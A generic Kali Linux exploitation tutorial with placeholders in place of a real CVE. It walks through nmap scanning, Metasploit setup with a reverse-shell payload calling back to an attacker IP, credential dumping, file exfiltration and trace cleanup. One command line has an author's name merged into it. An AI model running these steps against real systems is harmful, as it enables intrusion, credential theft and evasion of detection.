Exploiting Vulnerability Using Kali Linux

Exploiting Vulnerability Using Kali Linux

This guide demonstrates the step-by-step process for exploiting any Vulnerability on a given system

using Kali Linux. Follow the instructions below to verify and exploit the vulnerability.

Warning: Only use these steps in an authorized and controlled environment. Unauthorized

exploitation of systems is illegal and against ethical guidelines.

Pre-Requisites

Kali Linux machine installed and updated.

Access to the target machine running a vulnerable version of the software affected by

Vulnerability.

Installed tools: nmap, Metasploit, and any required payload scripts.

Step 1: Identify the Target System

First, perform a network scan to identify the services running on the target system. Use nmap to check

for open ports and services:

nmap -sV -p [port] [target_IP]

This command will reveal the services and versions running on the target. Check whether the target

system runs the vulnerable software version linked to Vulnerability.

Step 2: Verify Vulnerability with Vulnerability Scanners

Use a vulnerability scanner such as OpenVAS or Nessus to confirm that Vulnerability is present on

the target machine:

openvas-start

gvm-cli --cve Vulnerability --target [target_IP]

If the scanner detects the vulnerability, proceed to the exploitation phase.

Step 3: Launch Metasploit to Exploit the Vulnerability

Metasploit is a powerful tool for exploiting known vulnerabilities. Start the msfconsole and search for

any available exploit related to Vulnerability:

msfconsole

search Vulnerability

If an exploit exists, load it into Metasploit:

Sudipt Ghatakuse exploit/[exploit_path]

Step 4: Configure the Exploit

After loading the exploit, configure the target host (RHOST) and port (RPORT) as well as any required

payload. For example, set the reverse shell payload:

set RHOST [target_IP]

set RPORT [vulnerable_service_port]

set PAYLOAD linux/x86/meterpreter/reverse_tcp

set LHOST [your_Kali_IP]

set LPORT 4444

Confirm all settings before running the exploit:

show options

Step 5: Execute the Exploit

Once everything is configured, run the exploit:

exploit

If the exploit is successful, you will gain a remote shell or meterpreter session on the target system.

Note: Be sure to take screenshots or logs of the exploitation process as evidence. This will help in

reporting the vulnerability to the system owner.

Step 6: Post-Exploitation

After gaining access, you can perform the following post-exploitation actions (if permitted):

Check system information: sysinfo

Escalate privileges: getuid, getprivs

Dump credentials: hashdump (if possible)

Exfiltrate sensitive files: download /path/to/file

7. Cleanup and Reporting

Once the exploit has been demonstrated, clean up your activities to avoid leaving traces:

exit

rm /tmp/[exploit_files]